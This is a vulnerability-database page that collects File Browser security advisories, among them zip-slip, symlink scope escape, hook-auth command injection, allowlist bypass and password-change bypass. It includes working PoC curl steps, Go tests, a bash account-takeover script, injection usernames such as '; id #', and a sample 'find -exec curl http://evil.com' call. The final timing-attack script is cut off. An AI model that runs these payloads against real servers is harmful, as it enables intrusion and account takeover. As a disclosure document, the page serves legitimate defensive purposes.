Where
-Infinity
0

Vendor Risk Score

See how file browser compares to other vendors in security performance

View Risk Score →
Severity
6.8
Path Traversal
AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:N

Summary

The fix for GHSA-gxjx-7m74-hcq8 / CVE-2026-54093 (shipped in v2.63.6) added a strings.ReplaceAll(nameInArchive, "\\", "/") step to the archive builder; this was the advisory's recommended "Primary Fix." On a Linux host a backslash is a legal, non-separator filename character, so replacing it with the real POSIX separator / manufactures a /-delimited traversal sequence out of a benign single file name. The fix neutralized the Windows-only vector but reintroduced the same class of bug on POSIX systems, and the advisory's "Secondary Mitigation" (reject backslash filenames at creation time) was never implemented, so the malicious file can still be planted.

A file named ..\..\evil.sh, one ordinary regular file on a Linux server, is emitted into generated zip/tar archives as the entry ../../evil.sh. Any user with upload (Create) permission can plant such a file; when anyone later downloads the containing folder as an archive and extracts it, the entry escapes the extraction directory on the victim's machine. The original advisory's own payload ..\..\..\Windows\System32\evil.txt now becomes ../../../Windows/System32/evil.txt, which, unlike before the fix, also traverses on Linux and macOS extractors. The fix turned a Windows-only zip-slip into a cross-platform one.

Details

1. The archive builder rewrites backslashes into path separators (http/raw.go:133)

go nameInArchive := strings.TrimPrefix(path, commonPath) nameInArchive = strings.TrimPrefix(nameInArchive, string(filepath.Separator)) nameInArchive = filepath.ToSlash(nameInArchive) // line 127, host separator only // ... comment explaining the intent to strip Windows separators ... nameInArchive = strings.ReplaceAll(nameInArchive, "\\", "/") // line 133, creates traversal

filepath.ToSlash only rewrites the host separator, so on Linux a stored backslash survives until this explicit ReplaceAll. Replacing \ with the real separator / produces traversal rather than neutralizing it.

2. The rewritten name is used verbatim as the archive entry path (http/raw.go:137)

go archiveFiles = append(archiveFiles, archives.FileInfo{ FileInfo: info, NameInArchive: nameInArchive, // no path.Clean, no ".." rejection Open: func() (fs.File, error) { return d.user.Fs.Open(path) }, })

The value is handed to the archiver, which writes the entry under exactly that name. There is no path.Clean, no rejection of .. segments, and no check that the entry stays within the archive root.

3. The malicious name is plantable through normal upload (http/resource.go, resourcePostHandler)

A backslash is a valid byte in a Linux filename, so ..\..\evil.sh is a single regular file inside the user's scope, it does not traverse on the server and passes the scope guard. resourcePostHandler derives the filename from r.URL.Path and cleans it with path.Clean("/" + ...), which only treats / as a separator; the URL-encoded segment ..%5C..%5Cevil.sh contains no /, so cleaning leaves it intact and the file is written verbatim. This is the "Secondary Mitigation" the parent advisory recommended but that was never implemented; backslash-containing filenames are still accepted at creation time.

4. Every archive format shares the sink

NameInArchive is the single shared field for all algo values (zip, tar, targz, …), so the traversal entry appears identically in every supported archive type.

PoC

Tested against filebrowser/filebrowser:v2.63.15.

Attack Vector: plant a backslash-named file via upload, then download the folder as an archive:

bash #1. Create a dir in /tmp and start a fresh v2.63.15 container mkdir -p /tmp/filebrowser-test/srv docker run -d --name filebrowser-test -p 8090:80 -v /tmp/filebrowser-test/srv:/srv filebrowser/filebrowser:v2.63.15 && sleep 4 B=http://localhost:8090

#2. Log in (admin here, but any account with Create permission works) AP=$(docker logs filebrowser-test 2>&1 | grep -o 'password: .' | awk '{print $2}') T=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d "{\"username\":\"admin\",\"password\":\"$AP\"}")

#3. Create the folder ziptest/ curl -s -X POST "$B/api/resources/ziptest/" -H "X-Auth: $T" -o /dev/null

#4. Upload one file whose name contains backslashes (a single legal Linux filename inside scope; does not traverse on the server) curl -s -X POST "$B/api/resources/ziptest/..%5C..%5Cevil.sh?override=true" -H "X-Auth: $T" \ --data-binary $'#!/bin/sh\necho PWNED' -o /dev/null

#5. Download the folder as a zip and as a targz curl -s "$B/api/raw/ziptest?algo=zip" -H "X-Auth: $T" -o out.zip curl -s "$B/api/raw/ziptest?algo=targz" -H "X-Auth: $T" -o out.tar.gz

#6. Inspect the archive entry names: the backslash->slash rewrite turned ..\..\evil.sh into ../../evil.sh python3 -c "import zipfile;print('ZIP:',zipfile.ZipFile('out.zip').namelist())" python3 -c "import tarfile;print('TAR:',[m.name for m in tarfile.open('out.tar.gz').getmembers()])"

Expected output (reproduced on a fresh filebrowser-test container, v2.63.15):

http POST /api/resources/ziptest/..%5C..%5Cevil.sh?override=true -> 200 (stored on disk as the single file ..\..\evil.sh) GET /api/raw/ziptest?algo=zip -> 200 (zip bytes) GET /api/raw/ziptest?algo=targz -> 200 (gzip bytes)

The archive entry names, the value the reader should check, come back as the traversal path manufactured from the backslashes:

ZIP: ['../../evil.sh'] TAR: ['../../evil.sh']

Extracting either archive with a permissive extractor writes evil.sh two directories above the intended target, outside the extraction folder.

Impact

- Zip-slip / tar-slip on the victim host: extracting a downloaded archive writes the planted file to an attacker-chosen relative path outside the extraction directory, enabling overwrite of configuration, startup scripts, or other files, potentially leading to code execution depending on what is overwritten. - Who is affected: any party who downloads a folder-as-archive containing the planted file, the folder owner, a collaborator, an admin performing a backup, or a recipient of a shared/public link to the folder. - Regression that widened the blast radius: before this rewrite, ..\..\evil.sh only traversed on Windows extractors; afterwards the entry is ../../evil.sh and traverses on Linux and macOS extractors as well. - Low attacker bar: only Create permission (the default for normal users) is needed to plant the file; the traversal triggers on the victim's extraction step.

Recommended Fix

The current ReplaceAll(nameInArchive, "\\", "/") is the root cause and should be removed: replacing a backslash with the POSIX separator / creates the very traversal it is meant to prevent. Neutralize backslashes instead, and reject traversal in archive entry names:

go // http/raw.go, getFiles, replace the backslash->slash rewrite: nameInArchive = strings.ReplaceAll(nameInArchive, "\\", "") // neutralize, do not separate

// And reject any residual traversal before adding the entry: clean := path.Clean("/" + nameInArchive) if strings.Contains(nameInArchive, "..") || clean != "/"+nameInArchive { return nil, fmt.Errorf("unsafe archive entry name: %q", nameInArchive) }

Additionally, implement the "Secondary Mitigation" recommended in GHSA-gxjx-7m74-hcq8 but never shipped: reject or sanitize filenames containing backslashes at creation time in http/resource.go (resourcePostHandler), so backslash-containing names can never be stored in the first place. Defending only at archive-build time is fragile; defending at both creation and archive-build time closes the class.

1 / 2
Source: GitHub
First published (updated )
Severity
6.3
Path Traversal
AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:N

Summary

ScopedFs confines every File Browser user to a scope directory. Its within() guard is meant to reject any operation that follows a symbolic link out of that scope. When the link target does not exist yet, the guard walks up to the nearest existing ancestor and validates that instead. For a dangling symlink (target does not exist), the nearest existing ancestor is the in-scope directory containing the link, so the guard returns "in scope" and the subsequent os.OpenFile(OCREATE) follows the link and creates the file at its out-of-scope target.

A post-auth user with Create and Modify permission can write attacker-controlled content to any non-existent path outside their scope that the File Browser process can write to. The precondition is a dangling symlink present inside the user's scope, which is the same out-of-band precondition the rest of ScopedFs is built to defend against.

This is a patch-gap variant of the GHSA-239w-m3h6-ch8v symlink confinement issue, not a resubmission of the already-published vulnerable-version behavior: GHSA-239w-m3h6-ch8v marks <= 2.63.13 vulnerable and 2.63.14 patched, while this proof reproduces on current master / v2.63.15 (be23ab3a15bf957928ecfed88de5ab67850c1b9c). The escaping-symlink-to-an-existing-target case is defended and tested. The dangling case is neither, and the gap is acknowledged in a code comment as "best-effort".

Root cause

files/scoped.go (commit be23ab3). The guard, including the maintainer comment that already flags this exact gap:

go // Note: a dangling symlink whose target does not yet exist resolves to its // containing directory and is therefore allowed; writing through such a link // could still create a file outside the scope. This is treated as best-effort // and relies on rejecting existing escaping symlinks, which covers the // disclosure and overwrite vectors. func (s ScopedFs) within(p string) (bool, error) { root, err := filepath.EvalSymlinks(afero.FullBaseFsPath(s.base, "/")) if err != nil { return false, err }

target := afero.FullBaseFsPath(s.base, p) resolved, err := filepath.EvalSymlinks(target) for errors.Is(err, fs.ErrNotExist) { parent := filepath.Dir(target) // LEXICAL parent of the link path if parent == target { break } target = parent resolved, err = filepath.EvalSymlinks(target) } if err != nil { return false, err } // ... return resolved == root || strings.HasPrefix(resolved, prefix), nil }

When p is a symlink whose target does not exist, EvalSymlinks(target) returns fs.ErrNotExist. The loop takes the lexical parent of the link path (filepath.Dir), a real directory inside the scope, and EvalSymlinks of that resolves under the scope root. within() returns true and guard() permits the operation. The write then dereferences the link at the OS layer:

go func (s ScopedFs) OpenFile(name string, flag int, perm os.FileMode) (afero.File, error) { if err := s.guard(name); err != nil { // returns nil for a dangling escaping symlink return nil, err } return s.base.OpenFile(name, flag, perm) // os.OpenFile(OCREATE) follows the link }

The assumption that breaks: within() treats "target does not exist" as "brand-new in-scope file" and validates the containing directory. But the path component being created is itself a symlink pointing outside the scope. OCREATE follows it and creates the file at the link target, not inside the validated directory. The existing-target case is correctly blocked, because the walk-up resolves the link itself to an out-of-scope path. Only the dangling case slips through.

For the layout below:

text /tmp/root/scope/escape -> /tmp/root/outside/created-by-http.txt /tmp/root/outside/ # exists /tmp/root/outside/created-by-http.txt # does not exist yet

EvalSymlinks(/tmp/root/scope/escape) returns not-exist, and the fallback validates /tmp/root/scope. The final OpenFile still follows /tmp/root/scope/escape and creates /tmp/root/outside/created-by-http.txt.

Reachability over HTTP

Endpoint: POST /api/resources/<linkname>?override=true (also PUT, and POST/PATCH /api/tus/...). Verified trace against the audited source:

1. http/resource.go resourcePostHandler requires d.user.Perm.Create (else 403). 2. files.NewFileInfo is called. For a dangling symlink, stat() in files/file.go does LstatIfPossible (sees the symlink, err == nil, IsSymlink = true), then Fs.Stat follows the link and fails with ENOENT, so the code returns the symlink FileInfo with err == nil. The handler therefore enters the "file exists" branch. 3. The branch requires override == "true" and d.user.Perm.Modify, then proceeds. 4. writeFile(d.user.Fs, r.URL.Path, r.Body, ...) calls afs.OpenFile(dst, os.ORDWR|os.OCREATE|os.OTRUNC, fileMode). 5. ScopedFs.OpenFile runs guard(), which passes for the dangling link, then os.OpenFile follows the link and creates the file outside the scope with the request body as content.

The TUS path (http/tushandlers.go tusPostHandler -> OpenFile, then tusPatchHandler) reaches the same sink.

Why existing defenses do not apply

- afero.BasePathFs lexical confinement only neutralizes ... A plain link name passes it unchanged. - ScopedFs.within() is the dedicated symlink defense, and it is the component that fails: the not-exist walk-up validates the link's parent directory instead of the link. - The project's symlink tests (http/tussymlinktest.go TestTusHandlersRejectSymlinkScopeEscape, files/filetest.go) only exercise escaping symlinks whose target exists. Those are blocked. The dangling variant is never tested, so the regression suite does not catch it.

Proof of concept

The PoC drives the real security boundary, files.NewScopedFs, with the same flags http.writeFile uses, and shows the write landing outside the scope. A control test shows the existing-target case is still blocked, proving the guard is real and the gap is specifically the dangling case.

go const writeFlags = os.ORDWR | os.OCREATE | os.OTRUNC // == http.writeFile

scope := filepath.Join(root, "user") // the low-priv user's jail outside := filepath.Join(root, "outside") // sibling dir = another tenant / host path

// Precondition: a dangling escaping symlink inside the scope. os.Symlink(filepath.Join(outside, "pwned.txt"), filepath.Join(scope, "evil")) // target does not exist yet

fs := files.NewScopedFs(afero.NewOsFs(), scope) f, := fs.OpenFile("/evil", writeFlags, 0o644) // not rejected f.WriteString("OWNED-OUTSIDE-SCOPE") // assert: outside/pwned.txt must NOT exist

Observed result:

text === RUN TestDanglingSymlinkWriteEscapesScope poctest.go:49: VULNERABLE: write escaped the scope and created /tmp/.../001/outside/pwned.txt with content "OWNED-OUTSIDE-SCOPE" --- FAIL: TestDanglingSymlinkWriteEscapesScope (0.00s) === RUN TestExistingTargetSymlinkIsBlocked poctest.go:78: guard correctly blocked existing-target escape: permission denied --- PASS: TestExistingTargetSymlinkIsBlocked (0.00s)

The dangling test "fails" by design: the assertion fires because the file escaped. The control test passes: an escapelink -> outside (existing dir) write to escapelink/injected.txt is rejected by OpenFile with permission denied and nothing is created in outside/. That is exactly the scenario the project's own tests cover.

End-to-end HTTP equivalent:

text POST /api/resources/escape?override=true X-Auth: <token for user scoped to /tmp/root/scope with Create+Modify> body: http-outside

-> ScopedFs.OpenFile("/escape", OCREATE|OTRUNC) follows the dangling link -> file created at the link's out-of-scope target with the request body

The handler returns 200 OK, and the outside file contains the uploaded body.

Impact

- Direct primitive (live-verified): arbitrary file creation with attacker-controlled content at any non-existent path outside the user's scope that the File Browser process user can write to. - Cross-tenant integrity (source-reasoned): in multi-user deployments the scopes are sibling directories under one server root. A low-priv user can plant files into another user's home (a script, an HTML page later served, a config the victim trusts). - Persistence / RCE on permissive deployments (source-reasoned): creating a not-yet-existent ~/.ssh/authorizedkeys for the service account, a file under a web-served or later-executed directory, a cron or profile fragment. The official Docker image runs as non-root UID 1000, which bounds this to whatever that user owns. Bare-metal/systemd deployments that run File Browser as root raise this to host-level file write and RCE. - Scope limit (honest): this is file creation, not overwrite. Overwriting an existing out-of-scope file is genuinely blocked, because an existing target makes the link "escaping" and within() rejects it. The negative control confirms this.

Suggested remediation

For write/create/truncate operations, do not treat a dangling final symlink as safe merely because the nearest existing ancestor is inside the scope. The walk-up in within() should treat "the leaf is a symlink" as an escape candidate rather than validating its parent:

- In guard() / within(), Lstat the target. If it is a symlink, Readlink it, resolve the link target lexically (join with the link's directory, Clean), and require that target to be within the scope root, regardless of whether it currently exists. - More robust: resolve path components one by one for the operation being attempted, or open the final component with ONOFOLLOW (unix.Openat(... ONOFOLLOW)) so creating through a symlink fails with ELOOP; or fstat the descriptor after opening and verify it resolves within the scope before writing.

Add a regression test mirroring TestTusHandlersRejectSymlinkScopeEscape but with a dangling target (os.Symlink(filepath.Join(outside, "newfile"), ...)), asserting both a 4xx and that no file is created outside the scope.

References

- Incomplete fix of CVE-2026-54094 / GHSA-239w-m3h6-ch8v. - Affected code: files/scoped.go (ScopedFs.within, ScopedFs.OpenFile, ScopedFs.Create), reached from http/resource.go (resourcePostHandler, writeFile) and http/tushandlers.go. - Confirmed unpatched at be23ab3a15bf957928ecfed88de5ab67850c1b9c (v2.63.15).

1 / 2
Source: GitHub
First published (updated )
Severity
9.3
OS Command Injection, Command Injection, Race Condition
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Overview

The Hook Authentication feature in File Browser allows administrators to delegate login verification to an external shell command. User-supplied credentials (username and password) are interpolated into this command string using os.Expand without sanitization. An unauthenticated remote attacker can inject shell metacharacters in the username or password field at the login screen, causing the server to execute arbitrary OS commands before any authentication takes place. This is a critical pre-authentication RCE.

Affected Location

- File: auth/hook.go - Function: HookAuth.RunCommand

CVSS v4.0

| Metric | Value | Rationale | |---|---|---| | Attack Vector (AV) | Network (N) | Exploitable via the login endpoint over HTTP from any network | | Attack Complexity (AC) | Low (L) | Single crafted HTTP request; no preparation needed | | Attack Requirements (AT) | None (N) | No race condition or special timing required | | Privileges Required (PR) | None (N) | No account required — pre-authentication attack | | User Interaction (UI) | None (N) | Fully automated; no victim action needed | | Vulnerable System Confidentiality (VC) | High (H) | Full read access to server filesystem and env | | Vulnerable System Integrity (VI) | High (H) | Arbitrary file write/modification | | Vulnerable System Availability (VA) | High (H) | Can kill processes, exhaust resources | | Subsequent System Confidentiality (SC) | None (N) | No direct impact on downstream systems assumed | | Subsequent System Integrity (SI) | None (N) | — | | Subsequent System Availability (SA) | None (N) | — |

Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N Base Score: 9.3 (Critical)

Note: PR:None is the critical differentiator from vulnerabilities 01 and 02. Because the injection point is the unauthenticated login endpoint, no account or session is required. A single HTTP request to the login API is sufficient to achieve RCE.

CWE

| ID | Name | Role | |---|---|---| | CWE-78 | Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') | Primary — attacker-supplied credentials embedded in shell command string via os.Expand | | CWE-88 | Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') | Secondary — $USERNAME/$PASSWORD expansion injects additional shell commands | | CWE-306 | Missing Authentication for Critical Function | Secondary — OS command execution is reachable before any authentication is verified |

Technical Details

HookAuth.RunCommand builds the authentication command and substitutes credential values using os.Expand:

go // auth/hook.go envMapping := func(key string) string { switch key { case "USERNAME": return a.Cred.Username // directly from the HTTP login request body case "PASSWORD": return a.Cred.Password // directly from the HTTP login request body default: return os.Getenv(key) } }

for i, arg := range command { if i == 0 { continue } command[i] = os.Expand(arg, envMapping) // no escaping applied }

os.Expand performs plain text substitution. There is no escaping, quoting, or validation of the credential values before they are embedded into the command string.

If an admin has configured the hook authentication command as:

sh -c "test $USERNAME = 'admin'"

...and an attacker submits the username ; id # at the login screen, the expanded command becomes:

sh sh -c "test ; id # = 'admin'"

The ; terminates the test expression and the shell executes id. The # comments out the remainder, preventing a syntax error. The attacker's command runs with the privileges of the File Browser process — without needing a valid account or password.

Attack Scenario / Reproduction Steps

1. Admin enables Hook Authentication and sets the command to: sh -c "test $USERNAME = 'admin'" 2. An unauthenticated attacker sends a login request (e.g., via curl or the web UI) with: - Username: ; id # - Password: (any value) 3. The server executes: sh sh -c "test ; id # = 'admin'" 4. The id command runs on the server, confirming pre-authentication RCE.

No account is needed. The attacker does not need to know any valid credentials. A single request is sufficient.

Impact

An unauthenticated remote attacker can execute arbitrary OS commands on the server under the privilege level of the File Browser process. This is the most severe class of vulnerability in this codebase:

- No authentication required — exposed to the entire internet if the service is public-facing. - Single request — no setup, no enumeration, no prior foothold. - Full server compromise: data exfiltration, persistent backdoor installation, lateral movement to internal networks.

Any internet-facing File Browser instance with Hook Authentication enabled is fully compromised by a single malformed login attempt.

Proof of Concept

go package auth

import ( "os" "strings" "testing" )

func TestPoCAuthHookInjection(t testing.T) { // Simulate the admin-configured hook authentication command. // This represents a realistic configuration: verify the username via a shell expression. a := &HookAuth{ Command: "sh -c $USERNAME", Cred: hookCred{ // Attacker-supplied username from the login form. // The password is irrelevant. Username: "id ; echo injected", Password: "anything", }, }

// Simulate the RunCommand logic in auth/hook.go command := strings.Split(a.Command, " ")

envMapping := func(key string) string { if key == "USERNAME" { return a.Cred.Username } return os.Getenv(key) }

for i, arg := range command { if i == 0 { continue } // os.Expand substitutes $USERNAME with the attacker's input. // The result is treated as a shell script — no escaping is applied. command[i] = os.Expand(arg, envMapping) }

// The shell will execute: sh -c "id ; echo injected" expectedArg := "id ; echo injected" if command[2] != expectedArg { t.Errorf("Expected command argument %q, got %q", expectedArg, command[2]) }

t.Logf("Confirmed: malicious username was injected as a shell script. Executing: %v", command) }

Remediation

Pass credentials exclusively as environment variables, not as shell string substitutions. This feature is undocumented, so removing it should not cause issues.

1 / 2
Source: GitHub
First published (updated )
Severity
8.1
Command Injection
AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

Summary ##

The Command Execution feature of File Browser only allows the execution of shell command which have been predefined on a user-specific allowlist. Many tools allow the execution of arbitrary different commands, rendering this limitation void.

Impact ##

The concrete impact depends on the commands being granted to the attacker, but the large number of standard commands allowing the execution of subcommands makes it likely that every user having the Execute commands permissions can exploit this vulnerability. Everyone who can exploit it will have full code execution rights with the uid of the server process.

Vulnerability Description ##

Many Linux commands allow the execution of arbitrary different commands. For example, if a user is authorized to run only the find command and nothing else, this restriction can be circumvented by using the -exec flag.

Some common commands having the ability to launch external commands and which are included in the official container image of Filebrowser are listed below. The website <https://gtfobins.github.io> gives a comprehensive overview:

<https://gtfobins.github.io/gtfobins/cpio> <https://gtfobins.github.io/gtfobins/find> <https://gtfobins.github.io/gtfobins/sed> <https://gtfobins.github.io/gtfobins/git> <https://gtfobins.github.io/gtfobins/env>

As a prerequisite, an attacker needs an account with the Execute Commands permission and some permitted commands.

Proof of Concept ##

The following screenshot demonstrates, how this can be used to issue a network call to an external server:

!image

Recommended Countermeasures ##

Until this issue is fixed, we recommend to completely disable Execute commands for all accounts. Since the command execution is an inherently dangerous feature that is not used by all deployments, it should be possible to completely disable it in the application's configuration.

The prlimit command can be used to prevent the execution of subcommands:

bash $ find . -exec curl http://evil.com {} \; <HTML> <HEAD> [...]

$ prlimit --nproc=0 find . -exec curl http://evil.com {} \; find: cannot fork: Resource temporarily unavailable

It should be prepended to any command executed in the context of the application. prlimit can be used for containerized deployments as well as for bare-metal ones.

WARNING: Note that this does prevent any unexpected behavior from the authorized command. For example, the find command can also delete files directly via its -delete flag.

As a defense-in-depth measure, Filebrowser should provide an additional container image based on a distroless base image.

Timeline ##

2025-03-26 Identified the vulnerability in version 2.32.0 2025-06-25 Uploaded advisories to the project's GitHub repository 2025-06-25 CVE ID assigned by GitHub 2025-06-25 A patch version has been pushed to disable the feature for all existent installations, and making it opt-in. A warning has been added to the documentation and is printed on the console if the feature is enabled. Due to the project being in maintenance-only mode, the bug has not been fixed. Fix is tracked on https://github.com/filebrowser/filebrowser/issues/5199.

References ##

prlimit "Distroless" Container Images. Credits ##

Mathias Tausig (SBA Research)

1 / 3
Source: GitHub
First published (updated )
Severity
8.1
Command Injection
AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

Summary ##

In the web application, all users have a scope assigned, and they only have access to the files within that scope. The Command Execution feature of Filebrowser allows the execution of shell commands which are not restricted to the scope, potentially giving an attacker read and write access to all files managed by the server.

Impact ##

Shell commands are executed with the uid of the server process without any further restrictions. This means, that they will have access to at least

all files managed by the application from all scopes, even those the user does not have access to in the GUI. the Filebrowser database file containing the password hashes of all accounts.

The concrete impact depends on the commands being granted to the attacker, but due to other vulnerabilities identified ("Bypass Command Execution Allowlist", "Shell Commands Can Spawn Other Commands", "Insecure File Permissions") it is likely, that full read- and write-access will exist.

Read access to the database means, that the attacker is capable of extracting all user password hashes. This enables an offline dictionary attack on the passwords of all accounts, though the choice of the password hash function (bcrypt with a complexity of 10) gives a strong protection against such attacks. Write access to the database means that attackers are capable of changing a user's password hash, allowing them to impersonate any user account, including an administrator.

Vulnerability Description ##

Shell commands executed by a user are created as a simple subprocess of the application without any further restrictions. That means, that they have full access to files accessible by the application. The scope that is assigned to every account is not considered.

As a prerequisite, an attacker needs an account with the Execute Commands permission and some permitted commands.

Proof of Concept ##

Any exploit highly depends on the commands granted to the attacker. The following screenshot shows, how all password hashes can be extracted using only the grep command:

!image

Recommended Countermeasures ##

Until this issue is fixed, we recommend to completely disable Execute commands for all accounts. Since the command execution is an inherently dangerous feature that is not used by all deployments, it should be possible to completely disable it in the application's configuration. As a defense-in-depth measure, organizations not requiring command execution should operate the Filebrowser from a distroless container image.

There are two approaches to fixing this issue:

1. Limiting the process when it is started e.g., by using user namespaces with a tool like Bubblewrap. If this path is chosen, it is important to use a method that works both on a bare-metal server and within an unprivileged container. 2. Re-architecting the command execution feature so that file in the various scopes have a distinct uid as an owner and all shell command are executed under the uid of the user's scope.

Timeline ##

2025-03-26 Identified the vulnerability in version 2.32.0 2025-04-11 Contacted the project 2025-04-18 Vulnerability disclosed to the project 2025-06-25 Uploaded advisories to the project's GitHub repository 2025-06-25 CVE ID assigned by GitHub 2025-06-25 A patch version has been pushed to disable the feature for all existent installations, and making it opt-in. A warning has been added to the documentation and is printed on the console if the feature is enabled. Due to the project being in maintenance-only mode, the bug has not been fixed. Fix is tracked on https://github.com/filebrowser/filebrowser/issues/5199.

References ##

Sandboxing Applications with Bubblewrap: Securing a Basic Shell "Distroless" Container Images.

Credits ##

Mathias Tausig (SBA Research)

1 / 3
Source: GitHub
First published (updated )
Severity
5.4
EPSS
0.04%
XSS
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Security Advisory: Authentication Bypass in User Password Update

Summary

A case-sensitivity flaw in the password validation logic allows any authenticated user to change their password (or an admin to change any user's password) without providing the current password. By using Title Case field name "Password" instead of lowercase "password" in the API request, the currentpassword verification is completely bypassed. This enables account takeover if an attacker obtains a valid JWT token through XSS, session hijacking, or other means.

CVSS Score: 7.5 (High) CWE: CWE-178 (Improper Handling of Case Sensitivity)

---

Details

The vulnerability exists in http/users.go in the userPutHandler function (lines 181-200).

Vulnerable Code

go // http/users.go:181-200 if d.settings.AuthMethod == auth.MethodJSONAuth { var sensibleFields = map[string]struct{}{ "all": {}, "username": {}, "password": {}, // lowercase "scope": {}, "lockPassword": {}, "commands": {}, "perm": {}, }

for , field := range req.Which { if , ok := sensibleFields[field]; ok { // Case-sensitive lookup if !users.CheckPwd(req.CurrentPassword, d.user.Password) { return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect } break } } }

Root Cause

1. The sensibleFields map uses lowercase keys (e.g., "password") 2. The lookup sensibleFields[field] is case-sensitive 3. When req.Which contains "Password" (Title Case), the lookup returns false 4. The password verification block is skipped entirely 5. Later in the code (line 229), field names are converted to Title Case for processing, so "Password" is a valid field name

Attack Flow

1. Attacker obtains victim's JWT token (via XSS, log leakage, etc.) 2. Attacker sends PUT /api/users/{id} with: - which: ["Password"] (Title Case - bypasses validation) - data.password: "attackerpassword" - NO currentpassword field required 3. Password is changed without verification 4. Victim is locked out, attacker has full access

---

PoC

Prerequisites - A valid JWT token for any user account - Target Filebrowser instance using JSON authentication (default)

Reproduction Steps

Step 1: Obtain a valid JWT token bash TOKEN=$(curl -s -X POST "http://target:8080/api/login" \ -H "Content-Type: application/json" \ -d '{"username":"victim","password":"victimpassword"}')

Step 2: Attempt normal password change (should fail) bash curl -s -X PUT "http://target:8080/api/users/1" \ -H "X-Auth: $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "what": "user", "which": ["password"], "data": {"id": 1, "password": "NewPassword123456"} }' Response: 400 Bad Request (the current password is incorrect)

Step 3: Bypass with Title Case (succeeds without currentpassword) bash curl -s -X PUT "http://target:8080/api/users/1" \ -H "X-Auth: $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "what": "user", "which": ["Password"], "data": {"id": 1, "password": "HackedPassword123"} }' Response: 200 OK

Step 4: Verify account takeover bash Original password no longer works curl -s -X POST "http://target:8080/api/login" \ -d '{"username":"victim","password":"victimpassword"}' Response: 403 Forbidden

New password works curl -s -X POST "http://target:8080/api/login" \ -d '{"username":"victim","password":"HackedPassword123"}' Response: Valid JWT token

Automated PoC Script

bash #!/bin/bash Usage: ./poc.sh <target> <username> <currentpassword> <newpassword>

TARGET="$1" USERNAME="$2" CURRENTPASS="$3" NEWPASS="$4"

Login TOKEN=$(curl -s -X POST "$TARGET/api/login" \ -H "Content-Type: application/json" \ -d "{\"username\":\"$USERNAME\",\"password\":\"$CURRENTPASS\"}")

Get user ID from token USERID=$(echo "$TOKEN" | python3 -c " import sys,json,base64 parts=input().split('.') payload=json.loads(base64.b64decode(parts[1]+'==')) print(payload['user']['id']) ")

Exploit: Change password without currentpassword curl -s -X PUT "$TARGET/api/users/$USERID" \ -H "X-Auth: $TOKEN" \ -H "Content-Type: application/json" \ -d "{ \"what\": \"user\", \"which\": [\"Password\"], \"data\": {\"id\": $USERID, \"password\": \"$NEWPASS\"} }"

echo "Password changed to: $NEWPASS"

---

Impact

Who is Impacted

- All Filebrowser users using JSON authentication method (default configuration) - Any user whose JWT token can be obtained by an attacker - Particularly high-value targets: administrator accounts

Attack Scenarios

| Scenario | Impact | |----------|--------| | XSS + Token Theft | Complete account takeover | | JWT in Server Logs | Mass account compromise | | Shared Computer | Session hijacking | | Malicious Browser Extension | Credential theft |

Security Impact

| Category | Severity | |----------|----------| | Confidentiality | High - Attacker gains full account access | | Integrity | High - Attacker can modify all user data | | Availability | High - Legitimate user locked out |

Scope

- The vulnerability affects password modification only - Other sensitive fields (Username, Scope, Perm, etc.) have additional protection via NonModifiableFieldsForNonAdmin check - However, for administrators, all fields can be modified using this bypass technique

---

Suggested Fix

Option 1: Case-insensitive field matching (Recommended)

go // Convert field to lowercase before checking for , field := range req.Which { if , ok := sensibleFields[strings.ToLower(field)]; ok { if !users.CheckPwd(req.CurrentPassword, d.user.Password) { return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect } break } }

Option 2: Use Title Case in sensibleFields

go var sensibleFields = map[string]struct{}{ "All": {}, "Username": {}, "Password": {}, // Title Case to match post-transformation "Scope": {}, "LockPassword": {}, "Commands": {}, "Perm": {}, }

// Check AFTER field name transformation for k, v := range req.Which { v = cases.Title(language.English, cases.NoLower).String(v) req.Which[k] = v // Now check with Title Case if , ok := sensibleFields[v]; ok { if !users.CheckPwd(req.CurrentPassword, d.user.Password) { return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect } break } }

---

References

- Affected File: http/users.go - Affected Lines: 181-200 - Related Code: NonModifiableFieldsForNonAdmin (line 17)

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
EPSS
0.18%
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Summary The JSONAuth.Auth function contains a logic flaw that allows unauthenticated attackers to enumerate valid usernames by measuring the response time of the /api/login endpoint.

Details The vulnerability exists due to a "short-circuit" evaluation in the authentication logic. When a username is not found in the database, the function returns immediately. However, if the username does exist, the code proceeds to verify the password using bcrypt (users.CheckPwd), which is a computationally expensive operation designed to be slow.

This difference in execution path creates a measurable timing discrepancy:

Invalid User: ~1ms execution (Database lookup only). Valid User: ~50ms+ execution (Database lookup + Bcrypt hashing).

In auth/json.go: go // auth/json.go line 54 u, err := usr.Get(srv.Root, cred.Username) // VULNERABILITY: // If 'err != nil' (User not found), the OR condition short-circuits. // The second part (!users.CheckPwd) is NEVER executed. // // If 'err == nil' (User found), the code MUST execute users.CheckPwd (Bcrypt). if err != nil || !users.CheckPwd(cred.Password, u.Password) { return nil, os.ErrPermission } PoC The following Python script automates the attack. It first calibrates the network latency using random (non-existent) users to establish a baseline/threshold, and then tests a list of target usernames. Valid users are detected when the response time exceeds the calculated threshold.

python import requests import time import random import string import statistics import argparse

CALIBRATIONSAMPLES = 20 ENDPOINT = "/api/login"

def generaterandomuser(length=10): return ''.join(random.choices(string.asciilowercase + string.digits, k=length))

